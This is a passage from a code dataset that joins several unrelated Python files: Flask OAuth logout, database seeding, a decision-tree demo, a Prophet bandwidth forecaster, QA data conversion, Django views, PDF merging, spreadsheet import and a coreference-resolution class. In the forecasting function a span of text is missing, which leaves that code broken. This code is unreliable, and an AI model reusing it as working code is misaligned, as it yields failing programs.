else:\n response = make_response(json.dumps({'state': 'notConnected'}),\n 200)\n response.headers['Content-Type'] = 'application/json'\n return response\n\n\n@app.route('/gdisconnect')\ndef gdisconnect():\n access_token = login_session['credentials']\n\n # only disconnect if the user is connected.\n\n if access_token is None:\n response = make_response(json.dumps({'state': 'notConnected'}),\n 200)\n response.headers['Content-Type'] = 'application/json'\n return response\n url = 'https://accounts.google.com/o/oauth2/revoke?token=%s' \\\n % access_token\n header = httplib2.Http()\n result = header.request(url, 'GET')[0]\n\n if result['status'] == '200':\n\n # reset users session.\n\n del login_session['credentials']\n del login_session['id']\n del login_session['name']\n del login_session['email']\n del login_session['img']\n login_session['provider'] = 'null'\n response = make_response(json.dumps({'state': 'loggedOut'}),\n 200)\n response.headers['Content-Type'] = 'application/json'\n return response\n else:\n\n # if token is invalid, unable to revoke the token\n\n response = make_response(json.dumps({'state': 'errorRevoke'}),\n 200)\n response.headers['Content-Type'] = 'application/json'\n return response\n\nif __name__ == '__main__':\n app.debug = True\n app.run(host='', port=5000)\n","sub_path":"main.py","file_name":"main.py","file_ext":"py","file_size_in_byte":20800,"program_lang":"python","lang":"en","doc_type":"code","dataset":"code-starcoder2","pt":"16"} +{"seq_id":"166667032","text":"from models import base_class, Catalog, Choice\nfrom sqlalchemy.orm import sessionmaker\nfrom sqlalchemy import create_engine\nfrom os import getenv\nimport json\n\nengine = create_engine(getenv('db_uri'))\nbase_class.metadata.create_all(engine)\nsession_class = sessionmaker(bind=engine)\nsession = session_class()\n\nwith open('catalog_fixtures.json', 'r') as json_file:\n catalog = json.load(json_file)\n\nfor item in catalog:\n new_item = Catalog(\n **{'title': item['title'], 'description': item['description']})\n for choice in item['choices']:\n choices = Choice(\n **{'title': choice['title'], 'price': choice['price']})\n new_item.choices.append(choices)\n session.add(new_item)\nsession.commit()\n","sub_path":"create_db.py","file_name":"create_db.py","file_ext":"py","file_size_in_byte":728,"program_lang":"python","lang":"en","doc_type":"code","dataset":"code-starcoder2","pt":"16"} +{"seq_id":"512406198","text":"import graphviz\nfrom sklearn.datasets import load_iris\nfrom sklearn import tree\n\niris = load_iris()\n\ndata = iris.data\ntarget = iris.target\ntarget_names = iris.target_names\n\nclassifier = tree.DecisionTreeClassifier()\n\ntrained_classifier = classifier.fit(data, target)\n\ntest1 = [[4, 2, 4, 2]]\n\nprediction1 = trained_classifier.predict(test1)\n\nprint(test1[0], '-->', target_names[prediction1[0]])\n\ndot_data = tree.export_graphviz(trained_classifier, filled=True, class_names=target_names)\ngraph = graphviz.Source(dot_data)\ngraph.render('resources/iris', view=True)\n","sub_path":"ai/classifier/tree.py","file_name":"tree.py","file_ext":"py","file_size_in_byte":562,"program_lang":"python","lang":"en","doc_type":"code","dataset":"code-starcoder2","pt":"16"} +{"seq_id":"117746010","text":"#--------- p4 - bandwidth per source/target ---------------------------#\n\nimport pandas as pd\nimport config\nimport pymysql\nimport warnings\nwarnings.filterwarnings(\"ignore\")\nfrom datetime import datetime, timedelta\nimport logging\nfrom joblib import Parallel, delayed\n\nfrom pyspark.sql import SQLContext\n\nfrom tqdm import tqdm\nfrom fbprophet import Prophet\nfrom sklearn.metrics import mean_squared_error as mse\nimport math\n\n# flag to confirm the writting of forecasted value to db\nreal_flag = config.real_flag\ntotal_t1 = datetime.now()\n## Logging ##\n\nimport os\nimport sys\n\n\nfrom pyspark.context import SparkContext\nfrom pyspark.sql.session import SparkSession\n\nfrom pyspark.sql import SparkSession\nimport pymysql\ndef connect_to_mysql():\n connection = pymysql.connect(host = config.db_host,\n port= config.db_port,\n user= config.db_user,\n password= config.db_pass,\n db= config.db_name,\n charset='utf8',\n cursorclass=pymysql.cursors.DictCursor)\n return connection\n\nconn=connect_to_mysql()\n\nfull_t1 = datetime.now()\n# initialise sparkContext\nspark1 = SparkSession.builder \\\n .master(config.sp_master) \\\n .appName(config.sp_appname) \\\n .config('spark.executor.memory', config.sp_memory) \\\n .config(\"spark.cores.max\", config.sp_cores) \\\n .getOrCreate()\n \nsc = spark1.sparkContext\n\n# using SQLContext to read parquet file\nfrom pyspark.sql import SQLContext\nsqlContext = SQLContext(sc)\n\n## Logging ##\n\nnewpath = config.proj_path+'/log_for_demo' \nif not os.path.exists(newpath):\n os.makedirs(newpath)\nnewpath = config.proj_path+'/log_for_demo/p4' \nif not os.path.exists(newpath):\n os.makedirs(newpath)\n\nif(real_flag==1): \n newpath = config.proj_path+'/p4' \n if not os.path.exists(newpath):\n os.makedirs(newpath)\n\n#for handler in logging.root.handlers[:]:\n# logging.root.removeHandler(handler)\n \nlogging.basicConfig(filename=config.proj_path+'/log_for_demo/p4/p4.log',level=logging.DEBUG)\n\nfrom fbprophet import Prophet\nfrom sklearn.metrics import mean_squared_error as mse\nimport math\nfrom tqdm import tqdm\n\ndef create_prophet_m(app_name,z1,delay=24):\n \n ### --- For realtime pred ---###\n \n full_df = z1.bw.iloc[0:len(z1)]\n full_df = full_df.reset_index()\n full_df.columns = ['ds','y']\n \n #removing outliers\n q50 = full_df.y.median()\n q100 = full_df.y.quantile(1)\n q75 = full_df.y.quantile(.75)\n \n if((q100-q50) >= (2*q75)):\n \n full_df.loc[full_df.y>=(2*q75),'y'] = None\n \n #-- Realtime prediction --##\n #model \n model_r = Prophet(yearly_seasonality=False,changepoint_prior_scale=.2)\n model_r.fit(full_df)\n future_r = model_r.make_future_dataframe(periods=delay,freq='H')\n forecast_r = model_r.predict(future_r)\n forecast_r.index = forecast_r['ds']\n #forecast \n pred_r = pd.DataFrame(forecast_r['yhat'][len(z1):(len(z1)+delay)])\n pred_r=pred_r.reset_index()\n #--- completes realtime pred ---#\n \n train_end_index=len(z1.bw)-delay\n train_df=z1.bw.iloc[0:train_end_index]\n \n test_df=z1.bw.iloc[train_end_index:len(z1)]\n \n train_df=train_df.reset_index()\n test_df=test_df.reset_index()\n train_df.columns=['ds','y']\n \n #--- removing outliers in trainset ---#\n \n q50 = train_df.y.median()\n q100 = train_df.y.quantile(1)\n q75 = train_df.y.quantile(.75)\n \n if((q100-q50) >= (2*q75)):\n \n train_df.loc[train_df.y>=(2*q75),'y'] = None\n \n test_df.columns=['ds','y']\n \n #model \n model = Prophet(yearly_seasonality=False,changepoint_prior_scale=.2)\n model.fit(train_df)\n future = model.make_future_dataframe(periods=len(test_df),freq='H')\n forecast = model.predict(future)\n forecast.index = forecast['ds']\n #forecast \n pred = pd.DataFrame(forecast['yhat'][train_end_index:len(z1)])\n pred=pred.reset_index()\n pred_df=pd.merge(test_df,pred,on='ds',how='left')\n pred_df.dropna(inplace=True)\n \n df=pd.DataFrame()\n \n if(len(pred_df)>0):\n \n pred_df['error_test']=pred_df.y-pred_df.yhat\n \n \n \n MSE=mse(pred_df.y,pred_df.yhat)\n RMSE=math.sqrt(MSE)\n pred_df['APE']=abs(pred_df.error_test*100/pred_df.y)\n MAPE=pred_df.APE.mean()\n print(\"App name:\",app_name)\n #print(\"MSE :\",MSE)\n print(\"RMSE :\",RMSE)\n print(\"MAPE :\",MAPE)\n \n \n mape_q98=pred_df['APE'][pred_df.APEconfig.limit):\n \n prophet_analysis_df,ew_model,ew_forcast,prophet_df,prophet_future_df =(create_prophet_m(s,df2,config.delay))\n \n t2 = datetime.now()\n prophet_analysis_df['total_run_time'] = round(((t2-ftime1).seconds/60),2)\n \n prophet_analysis_df['target'] = t\n prophet_analysis_df['source'] = s\n \n \n prophet_future_df['target'] = t\n prophet_future_df['source'] = s\n \n prophet_df['target'] = t\n prophet_df['source'] = s\n \n return prophet_df, prophet_analysis_df, prophet_future_df ,df2\n\nif __name__ == '__main__':\n # Reading data from parquet\n print('satrt quering')\n t1 = datetime.now()\n\n df = sqlContext.read.parquet(config.proj_path+'/datas/appid_datapoint_parquet1')\n df = df[df.app_rsp_time!=0]\n\n # Checking whether the reference data is available in db or not , if no then creating it\n with conn.cursor() as cursor:\n # Read a record\n sql = \"SHOW TABLES LIKE 'reference_df'\" \n cursor.execute(sql)\n result = (cursor.fetchall())\n\n if result:\n \n with conn.cursor() as cursor:\n # Read a record\n sql = \"select * from reference_df\" \n cursor.execute(sql)\n rdf = pd.DataFrame(cursor.fetchall())\n \n so_list = list(rdf.source.unique())\n \n \n conn.close()\n # Needed data extraction\n\n t1 = datetime.now()\n\n bw_full_df = pd.DataFrame()\n prophet_df = pd.DataFrame()\n prophet_future_df = pd.DataFrame()\n prophet_analysis_df = pd.DataFrame()\n\n #selecting arbitory sources , keep these sources for the evaluation in future also\n #so_list = ['134.141.121.91','134.141.5.102']\n so_list = so_list[0:2]\n\n t2 = datetime.now()\n time_to_fetch = str(t2-t1)\n\n for s in tqdm(so_list):\n \n qt1 = datetime.now()\n \n data = df[(df.source == s ) ]\n\n df_t = data.registerTempTable('dummy')\n df_t = sqlContext.sql('select sum(byte_count) as byte_count_sum , time_stamp , source, target_address from dummy group by source, target_address, time_stamp')\n df_t = df_t[df_t.byte_count_sum!=0]\n \n # data cleaning\n bw_df=df_t.toPandas()\n \n bw_df['bw'] = bw_df['byte_count_sum']/(8*3600)\n\n t_array = bw_df.target_address.value_counts().index[0:100]\n\n bw_df = bw_df.sort_values(by='bw',ascending=True) \n dates_outlook = pd.to_datetime(pd.Series(bw_df.time_stamp),unit='ms')\n bw_df.index = dates_outlook \n bw_df = bw_df.sort_values(by='time_stamp')\n \n print('quering is successfull')\n \n\n\n logging.info(datetime.now())\n logging.info('-I- Fetching query for '+s+' is successfull...')\n\n qt2 = datetime.now()\n query_time = str(qt2-qt1)\n\n \n # Running for all combiantions\n\n qt3 = datetime.now()\n\n pool = Parallel(n_jobs=-1,verbose=5,pre_dispatch='all')\n r0 = pool(delayed(forcomb)(t,s,bw_df,qt1) for t in t_array) \n\n qt5 = datetime.now()\n #individual_time.append(str(qt5-qt1))\n \n\n for i in range(0,len(r0)):\n prophet_df = prophet_df.append(r0[i][0])\n prophet_analysis_df = prophet_analysis_df.append(r0[i][1])\n prophet_future_df = prophet_future_df.append(r0[i][2])\n bw_full_df = bw_full_df.append(r0[i][3])\n \n qt4 = datetime.now()\n model_time = str(qt4-qt3)\n\n print(' -I- dataframe cteated ')\n logging.info(datetime.now())\n logging.info('-I- Model ran succesdfully...')\n\n # saving as csv for graphical representation\n if(real_flag==1):\n bw_full_df.to_csv(config.proj_path+'/p4/bw_per_source_per_target_dataset.csv',index=False)\n prophet_analysis_df.to_csv(config.proj_path+'/p4/bw_analysis_per_source_per_target_data.csv',index=False)\n prophet_df.to_csv(config.proj_path+'/p4/bw_evaluation_per_source_per_target_data.csv',index=False)\n prophet_future_df.to_csv(config.proj_path+'/p4/bw_forecast_per_source_per_target_data.csv',index=False)\n\n\n\n\n\n # Writing the forecasted data to to mysql_db\n\n from sqlalchemy import create_engine\n engine = create_engine(str(\"mysql+pymysql://\"+config.db_user+\":\"+config.db_pass+\"@\"+config.db_host+\":\"+str(config.db_port)+\"/\"+config.db_name))\n #res22.to_sql(con=engine, name='dummy', if_exists='replace')\n\n if(real_flag==1):\n prophet_future_df.to_sql(con=engine, name='forecast_bw_per_source_per_target', if_exists='replace',index=False)\n\n\n total_t2 = datetime.now()\n # calculating runtime in minuts\n total_real = (total_t2 - total_t1).seconds/60\n total_time = str(total_t2 - total_t1)\n\n #for analysis of our model in future\n\n prophet_analysis_df['run_date'] = datetime.now().date()\n #prophet_analysis_df['total_run_time'] = total_real\n prophet_analysis_df.index = list(range(0,len(prophet_analysis_df)))\n\n if(config.override_flag == 1):\n prophet_analysis_df.to_sql(con=engine, name='analyse_p4', if_exists='replace',index=False)\n else:\n prophet_analysis_df.to_sql(con=engine, name='analyse_p4', if_exists='append',index=False)\n\n ## Logging\n logging.info(datetime.now())\n logging.info('-I- validation of model...')\n logging.info(prophet_analysis_df)\n\n logging.info('-I- Run time for fetching the data from parquet file is')\n logging.info(query_time)\n logging.info('-I- Run time for modelling is ')\n logging.info(model_time)\n logging.info('-I- The total run time is ')\n logging.info(total_time)\n print ('Total run time is ', total_time)","sub_path":"POC_call_home/p4_final.py","file_name":"p4_final.py","file_ext":"py","file_size_in_byte":10818,"program_lang":"python","lang":"en","doc_type":"code","dataset":"code-starcoder2","pt":"16"} +{"seq_id":"452851066","text":"#!/usr/bin/env python3\n# -*- coding: utf-8 -*-\n\nimport sys\nimport os\nimport os.path\nfrom optparse import OptionParser\nimport argparse\nimport json \nimport random\n\n# note that I was trying to adapt Zhiping's insurance_data2json.py to make it work for both V1 and V2\n# it turns out V1 and V2 has very different format, so I stopped working on this script, instead, directly\n# adapting V1 in insurance_data2json.py\nassert(False)\n\n#parse command line options\nusage = \"usage: %prog [options] to_be_added\"\ndescription = \"to be added\"\nparser = OptionParser(usage=usage, description=description)\n\nparser.add_option(\"-d\", \"--debug\", type=\"int\", default=1, metavar=\"level\",\\\n help=\"debug message level, 1 for info(default), 2 for debug\")\nparser.add_option(\"-m\", \"--max_length\", type=\"int\", default=300, metavar=\"max length\",\\\n help=\"max length (word number) for the answer\")\nparser.add_option(\"-i\", \"--input_dir\", type=\"str\", default=None, metavar=\"input dir\",\\\n help=\"input dir\")\nparser.add_option(\"-v\", \"--version\", type=\"str\", default=None, metavar=\"V1 or V2\",\\\n help=\"version of the insurance data\")\nparser.add_option(\"-o\", \"--output_dir\", type=\"str\", default=None, metavar=\"output dir\",\\\n help=\"output dir\")\n\noptions, args = parser.parse_args()\n\n######## log service ############\ndef _print_msg(level, msg):\n if level < -1 or level > 2:\n raise RunntimeError(\"[ERROR] unvalid debug level %d \\\"%s\\\"\" % (level, msg))\n if level > options.debug: return\n if level == -1:\n raise RunntimeError(\"[ERROR]\"+ msg)\n if level == 0:\n print(\"[WARNING]\"+msg); return\n if level == 1:\n print(\"[INFO]\"+msg); return\n if level == 2:\n print(\"[DEBUG]\"+msg); return\n\ndef log_err(msg):\n src = sys._getframe(1).f_code.co_name\n _print_msg(-1, \"[\"+src+\"]\"+msg)\n \ndef log_warn(msg):\n src = sys._getframe(1).f_code.co_name\n _print_msg(0, \"[\"+src+\"]\"+msg)\n\ndef log_info(msg):\n src = sys._getframe(1).f_code.co_name\n _print_msg(1, \"[\"+src+\"]\"+msg)\n\ndef log_debug(msg):\n src = sys._getframe(1).f_code.co_name\n _print_msg(2, \"[\"+src+\"]\"+msg)\n\n#############################################################################\ndef load_voc(voc_file):\n voc = {}\n with open(voc_file) as fh:\n for line in fh:\n line = line.strip()\n items = line.split('\\t')\n assert len(items) == 2\n voc[items[0]] = items[-1]\n log_info(\"vocabulary size: %d\" % len(voc))\n return voc\n\ndef map_id2str(voc, id_str):\n out_pl = []; i = 0\n for cur_id in id_str.split(): \n if cur_id not in voc: log_err(\"not found ID in voc: '%s'\" % cur_id)\n out_pl.append(voc[cur_id]); i += 1 \n return ' '.join(out_pl), i\n\ndef load_ans_pool(voc, ans_file): \n ans_pool = {}\n ans_dis = {}\n with open(ans_file) as fh:\n for line in fh:\n line = line.strip()\n items = line.split('\\t')\n assert len(items) == 2\n cur_ans, cur_len = map_id2str(voc, items[-1]) \n ans_pool[items[0]] = (cur_ans, cur_len)\n if cur_len not in ans_dis: ans_dis[cur_len] = 0\n ans_dis[cur_len] += 1\n log_info(\"loading %d answers in pool\" % len(ans_pool)) \n with open(\"answer_lenth.distribution\", \"w\") as fh:\n plist = list(ans_dis.items())\n plist.sort(key=lambda item: item[0])\n for tl, count in plist:\n fh.write(\"%d\\t%d\\n\" % (tl, count))\n return ans_pool\n\ndef load_question_ans(voc, qa_file): \n q_dis = {}; q_pool = {}\n with open(qa_file) as fh:\n for line in fh:\n line = line.strip()\n items = line.split('\\t')\n assert len(items) == 3\n question, cur_len = map_id2str(voc, items[1]) \n if items[0] not in q_pool: q_pool[items[0]] = []\n q_pool[items[0]].append(question) \n if cur_len not in q_dis: q_dis[cur_len] = 0\n q_dis[cur_len] += 1\n log_info(\"loading %d quesions\" % len(q_pool)) \n with open(\"question_lenth.distribution\", \"w\") as fh: \n plist = list(q_dis.items())\n plist.sort(key=lambda item: item[0])\n for tl, count in plist:\n fh.write(\"%d\\t%d\\n\" % (tl, count))\n return q_pool\n\ndef insurance2json(voc, ans_pool, src_file, thresh_hold = 2000, training=False):\n #format: label \\t question \\t ground_answer \\t answer_candicate \n out_fh = open(\"./answer_less_300/\" + os.path.basename(src_file) + \".json\", \"w\")\n qc = 0; sc = 0\n long_ans = 0\n with open(src_file) as fh:\n for line in fh:\n line = line.strip()\n items = line.split('\\t')\n assert len(items) == 4\n ##question, reference answers, answer candicates\n question, _ = map_id2str(voc, items[1])\n ref_ans = items[2].split()\n ans_candidate = items[3].split() \n cur_candidate = set()\n wrong_id = None \n if training:\n for answer in ref_ans:\n sample = {}\n ##correct answer\n sample['pairID'] = str(sc)\n sample['captionID'] = str(qc) \n sample['sentence1'] = ans_pool[answer][0]\n sample['sentence2'] = question\n sample['gold_label'] = \"entailment\" \n if ans_pool[answer][1] > thresh_hold: \n long_ans += 1\n log_info(\"skip long answer: %d\" % long_ans)\n else:\n out_fh.write(\"%s\\n\" % json.dumps(sample)) \n sc += 1 \n cur_candidate.add(answer) \n ##in-correct answer \n while True: \n wrong_id = random.choice(ans_candidate)\n if wrong_id in cur_candidate: continue\n if ans_pool[wrong_id][1] <= thresh_hold: \n cur_candidate.add(wrong_id); break\n sample['pairID'] = str(sc)\n sample['sentence1'] = ans_pool[wrong_id][0] \n sample['gold_label'] = \"neutral\"\n out_fh.write(\"%s\\n\" % json.dumps(sample)) \n sc += 1 \n if not training: \n sample = {}\n sample['captionID'] = str(qc) \n sample['sentence2'] = question\n for wrong_id in ans_candidate: \n sample['pairID'] = str(sc)\n sample['sentence1'] = ans_pool[wrong_id][0]\n sample['gold_label'] = \"neutral\" \n if wrong_id in ref_ans: sample['gold_label'] = \"entailment\" \n if ans_pool[wrong_id][1] > thresh_hold: \n long_ans += 1\n log_info(\"skip long answer: %d\" % long_ans)\n else:\n out_fh.write(\"%s\\n\" % json.dumps(sample)) \n sc += 1 \n qc += 1\n out_fh.close()\n log_info(\"%s: %d questions, %d samples are generated\" % (src_file, qc, sc))\n\nif __name__ == '__main__': \n\n voc = load_voc(os.path.join(options.input_dir, options.version, \"vocabulary\"))\n if option.version == \"V2\":\n ans_pool = load_ans_pool(voc, os.path.join(options.input_dir, \"V2/InsuranceQA.label2answer.raw.encoded\")) \n q_pool = load_question_ans(voc, os.path.join(options.input_dir, \"V2/InsuranceQA.question.anslabel.raw.encoded\"))\n insurance2json(voc, ans_pool, os.path.join(options.input_dir, \"V2/InsuranceQA.question.anslabel.raw.100.pool.solr.valid.encoded\", options.max_length))\n insurance2json(voc, ans_pool, os.path.join(options.input_dir, \"V2/InsuranceQA.question.anslabel.raw.100.pool.solr.train.encoded\", options.max_length, True))\n insurance2json(voc, ans_pool, os.path.join(options.input_dir, \"V2/InsuranceQA.question.anslabel.raw.100.pool.solr.test.encoded\", options.max_length))\n elif option.version == \"V1\":\n assert(False)\n \n log_info(\"finished!!\")\n\n","sub_path":"AutoQA-ding_merged/data/data_collection/tools/insurance_data2json.py","file_name":"insurance_data2json.py","file_ext":"py","file_size_in_byte":8205,"program_lang":"python","lang":"en","doc_type":"code","dataset":"code-starcoder2","pt":"16"} +{"seq_id":"358253627","text":"# coding: utf-8\n\nfrom django.shortcuts import HttpResponseRedirect, render\nfrom django.contrib.auth.decorators import login_required\nfrom tools.utils import *\nfrom mis import models\nfrom mis import config\n\n\n@login_required\ndef teacher_class_notes_edit(request):\n if request.method == 'GET':\n clazz = request.GET.get('clazz', 0)\n notes = request.GET.get('notes', None)\n replay = request.GET.get('replay', None)\n today = datetime.datetime.now()\n note_template = config.class_notes_template\n if notes:\n notes = models.ClassNotes.objects.get(pk=notes)\n return render(request, 'ui/teacher/add_classnotes.html', locals())\n else:\n param = request.POST\n pk = param.get('id', None)\n clazz = param.get('clazz')\n writer = param.get('writer')\n replay = param.get('replay', None)\n subject = param.get('subject')\n content = param.get('content')\n img = param.get('img', None)\n if pk:\n cn = models.ClassNotes.objects.get(pk=pk)\n cn.subject = subject\n cn.content = content\n cn.img = img\n else:\n cn = models.ClassNotes(subject=subject,\n content=content,\n clazz_id=clazz,\n img=img,\n writer_id=writer)\n if replay:\n try:\n replay = int(replay)\n cn.replay = replay\n except:\n pass\n\n cn.save()\n return HttpResponseRedirect('/mis/teacher/student/classes?clazz=' + clazz)\n\n\n@login_required\ndef teacher_class_notes_view(request):\n notes = request.GET.get('notes', 0)\n notes = models.ClassNotes.objects.get(pk=notes)\n return render(request, 'mis/teacher/classnotes_view.html', locals())\n","sub_path":"mis/mis/views/classnotes.py","file_name":"classnotes.py","file_ext":"py","file_size_in_byte":1882,"program_lang":"python","lang":"en","doc_type":"code","dataset":"code-starcoder2","pt":"16"} +{"seq_id":"413301184","text":"import PyPDF2\n\nfrom PyPDF2 import PdfFileMerger\n\npdfs = ['4850.pdf', '4851.pdf', '4852.pdf', '4853.pdf', '4854.pdf', '4855.pdf', '4856.pdf']\n\nmerger = PdfFileMerger()\n\nfor pdf in pdfs:\n merger.append(pdf)\n\nmerger.write(\"I_485_Full.pdf\")\nmerger.close()\n\n","sub_path":"pdfmerge.py","file_name":"pdfmerge.py","file_ext":"py","file_size_in_byte":256,"program_lang":"python","lang":"en","doc_type":"code","dataset":"code-starcoder2","pt":"16"} +{"seq_id":"360516698","text":"from django.core.files.storage import default_storage, FileSystemStorage\nfrom openpyxl import load_workbook\nfrom product.models import Products, ProductType\nimport os, math, csv\n\n\n\ndef checkIfExist(path):\n return os.path.isdir(path)\n\n\n\ndef createDirectory(path):\n os.mkdir(path)\n\n\n\ndef saveFileData(path=None, contents=None):\n fs = FileSystemStorage()\n # this must indicate the filename and extension to make the file type same as original\n default_storage.save(path, contents)\n\n\n\ndef createChunkXlsx(file, path, filename):\n wb = load_workbook(file)\n sheetname = \"Sheet1\"\n ws = wb[sheetname]\n\n total_contents = getNumberOfRows(file, \"xlsx\")\n if not total_contents:\n return returnResponse(False, \"File doesn't have a content\")\n\n max_content_of_csv = 10\n number_of_chunks = 1 if total_contents <= max_content_of_csv else math.ceil(total_contents / max_content_of_csv)\n\n headers=[]\n for cell in ws[1]:\n headers.append(cell.value)\n\n all_rows = []\n for row in ws.iter_rows(min_row=2):\n all_rows.append(','.join([str(cell.value) for cell in row]))\n\n # create chunk of csv\n for x in range(number_of_chunks):\n chunk_filename = \"{filename}_chunk_{chunk_number}.csv\".format(filename=filename, chunk_number=x)\n full_directory = os.path.join(path, chunk_filename)\n with open(full_directory, mode='w', newline='') as csv_writer:\n csv_writer = csv.writer(csv_writer, delimiter=',', quotechar='\"', quoting=csv.QUOTE_MINIMAL)\n start = x*max_content_of_csv\n end = (x*max_content_of_csv) + max_content_of_csv\n rows_to_insert = all_rows[start:end]\n for i in rows_to_insert:\n line = i.split(',')\n row_to_test = [data != None and data != 'None' for data in line]\n if not all(row_to_test):\n continue\n csv_writer.writerow(line)\n # end of create chumk\n\n return returnResponse(True, \"File chunk created\")\n \n\n\ndef createChunkCsv(file, path, filename, temp, temp_filename):\n file_to_temp = temp +\"\\\\\"+ temp_filename + \".csv\"\n saveFileData(file_to_temp, file)\n\n total_contents = getNumberOfRows(file_to_temp, \"csv\")\n if not total_contents:\n os.remove(file_to_temp)\n return returnResponse(False, \"File doesn't have a content\")\n\n all_rows = list()\n\n with open(file_to_temp, 'r') as f:\n for row in f:\n all_rows.append(row)\n\n all_rows = all_rows[1:]\n total_rows = len(all_rows) - 1 # headers not included\n\n max_content_of_csv = 10\n number_of_chunks = 1 if total_rows <= max_content_of_csv else math.ceil(total_rows / max_content_of_csv)\n \n # create chunk of csv\n for x in range(number_of_chunks):\n chunk_filename = \"{filename}_chunk_{chunk_number}.csv\".format(filename=filename, chunk_number=x)\n full_directory = os.path.join(path, chunk_filename)\n with open(full_directory, mode='w', newline='') as csv_writer:\n csv_writer = csv.writer(csv_writer, delimiter=',', quotechar='\"', quoting=csv.QUOTE_MINIMAL)\n start = x*max_content_of_csv\n end = (x*max_content_of_csv) + max_content_of_csv\n rows_to_insert = all_rows[start:end]\n for i in rows_to_insert:\n csv_writer.writerow([item.rstrip() for item in i.split(',')])\n # end create chunk\n os.remove(file_to_temp)\n\n return returnResponse(True, \"File chunk created\")\n\n\n\ndef readContents(path, list_of_chunks):\n for file in list_of_chunks:\n actual_path = path + \"\\\\\" + file\n list_of_products = []\n with open(actual_path, newline='') as csvfile:\n rows = csv.reader(csvfile, delimiter=',', quotechar='\"')\n for row in rows:\n product_type = ProductType.objects.get(pk=int(row[2]))\n product = Products(product_name=row[0], product_price=\"{:.2f}\".format(float(row[1])), product_type=product_type, quantity=row[3], product_photo=row[4])\n list_of_products.append(product)\n importBulkOfProduct(list_of_products)\n\n\n\ndef importBulkOfProduct(list):\n bulks = Products.objects.bulk_create(list)\n\n\n\ndef returnResponse(success = None, message = None):\n return {\n \"success\": success,\n \"message\": message,\n }\n\n\n\ndef getNumberOfRows(file, file_type):\n number_of_content = 0\n\n if file_type == 'xlsx':\n wb = load_workbook(file)\n sheetname = \"Sheet1\"\n ws = wb[sheetname]\n for row in ws.iter_rows(min_row=2):\n if not all([cell.value == None or cell.value == 'None' for cell in row]):\n number_of_content += 1\n else:\n number_of_content = -1 # this is to make sure that header is not included for content validation\n with open(file, 'r') as f:\n for row in f:\n if not all([cell == None for cell in row]):\n number_of_content += 1\n\n return number_of_content","sub_path":"product/file_uploads.py","file_name":"file_uploads.py","file_ext":"py","file_size_in_byte":4999,"program_lang":"python","lang":"en","doc_type":"code","dataset":"code-starcoder2","pt":"16"} +{"seq_id":"520463449","text":"# coding=utf-8\n\"\"\" This is where the base of the sieves lives\n\n\"\"\"\n\nfrom collections import Counter\nfrom logging import getLogger\n\nfrom corefgraph.constants import SPAN, ID, FORM, UTTERANCE, POS, NER, SPEAKER, CONSTITUENT, TAG, INVALID, GOLD_ENTITY\nfrom corefgraph.resources.dictionaries import pronouns, stopwords\nfrom corefgraph.resources.rules import rules\nfrom corefgraph.resources.tagset import ner_tags, constituent_tags\nfrom corefgraph.resources.tagset import pos_tags\nfrom corefgraph.multisieve.features.constants import UNKNOWN, PERSON, FIRST_PERSON, SECOND_PERSON, GENERIC, \\\n STARTED_BY_INDEFINITE_PRONOUN, APPOSITIVE, PREDICATIVE_NOMINATIVE, MENTION, PROPER_MENTION, NOMINAL_MENTION, \\\n PRONOUN_MENTION, STARTED_BY_INDEFINITE_ARTICLE, NUMBER, ANIMACY, GENDER, ENUMERATION_MENTION\n\n__author__ = 'Josu Bermudez '\n\n\nclass Sieve(object):\n \"\"\" The base of all the sieves of the system. It contains all the check,\n resolve and merge basic mechanics and also the methods to extract\n information from entities and candidates.\n\n \"\"\"\n short_name = \"base\"\n auto_load = True\n\n # Filter options\n DISCOURSE_SALIENCE = True\n ONLY_FIRST_MENTION = True\n USE_INCOMPATIBLES = True\n NO_PRONOUN_MENTION = True\n NO_ENUMERATION_MENTION = False\n NO_APPOSITIVE_MENTION = False\n NO_PRONOUN_CANDIDATE = False\n NO_ENUMERATION_CANDIDATE = False\n NO_APPOSITIVE_CANDIDATE = False\n NO_STOP_WORDS = False\n INCOMPATIBLE_DISCOURSE = False\n SENTENCE_DISTANCE_LIMIT = False\n I_WITHIN_I = False\n NO_SUBJECT_OBJECT = False\n IS_INSIDE = True\n gold_check = True\n\n UNKNOWN_VALUES = {UNKNOWN, None, }\n INCOMPATIBLES = \"incompatible\"\n\n UNRELIABLE = 3\n\n def __init__(self, meta_info):\n self.meta = Counter()\n self.logger = getLogger(__name__ + \".\" + self.short_name)\n self.meta_info = meta_info\n\n self.correct_link = []\n self.wrong_link = []\n self.lost_link = []\n self.no_link = []\n\n self.graph_builder = None\n\n def get_meta(self):\n return {\n \"OK\": self.correct_link,\n \"WRONG\": self.wrong_link,\n \"LOST\": self.lost_link,\n \"NO\": self.no_link,\n }\n\n def resolve(self, graph_builder, mentions_order, candidates_order):\n \"\"\"Runs each sentence compare each mention and its candidates.\n\n :param graph_builder: The manager to ask or manipulate the graph.\n :param candidates_order: A list sentences that are a list of mentions in BFS.\n :param mentions_order: A list sentences that are a list of mentions in textual order.\n \"\"\"\n self.graph_builder = graph_builder\n output_clusters = dict()\n self.logger.info(\n \"SIEVE: =========== %s Start ===========\", self.short_name)\n # for each sentence for each mention in tree traversal order\n for index_sentence, sentence in enumerate(mentions_order):\n for index_mention, mention in enumerate(sentence):\n self.logger.debug(\"RESOLVE: ---------- New mention ----------\")\n self.log_mention(mention)\n # Skip the mention?\n mention_entity_idx, mention_entity = mention.get(\"entity\")\n if not self.validate(mention=mention, entity=mention_entity):\n self.logger.debug(\"RESOLVE: Invalid mention\")\n else:\n candidates = self.get_candidates(\n mentions_order, candidates_order, mention, index_sentence)\n for candidate in candidates:\n self.logger.debug(\"RESOLVE: +++++ New Candidate +++++\")\n self.log_candidate(candidate)\n candidate_entity_idx, candidate_entity = \\\n candidate.get(\"entity\")\n\n if self.are_coreferent(\n entity=mention_entity, mention=mention,\n candidate_entity=candidate_entity, candidate=candidate):\n if self.meta_info:\n if self.check_gold(mention, candidate):\n self.logger.info(\n \"CORRECT LINK (%s):%s \", self.short_name,\n self.context(\n mention_entity, mention,\n candidate_entity, candidate))\n self.correct_link.append(\n (mention[ID], candidate[ID]))\n else:\n self.logger.debug(\n \"WRONG LINK (%s):%s \", self.short_name,\n self.context(\n mention_entity, mention,\n candidate_entity, candidate))\n self.wrong_link.append(\n (mention[ID], candidate[ID]))\n try:\n del output_clusters[mention_entity_idx]\n except KeyError:\n pass\n # If passed the sieve link candidate and stop search\n # for that entity\n try:\n del output_clusters[candidate_entity_idx]\n except KeyError:\n pass\n self.logger.debug(\"RESOLVE: End candidate (LINKED).\")\n mention_entity_idx, mention_entity = self._merge(\n 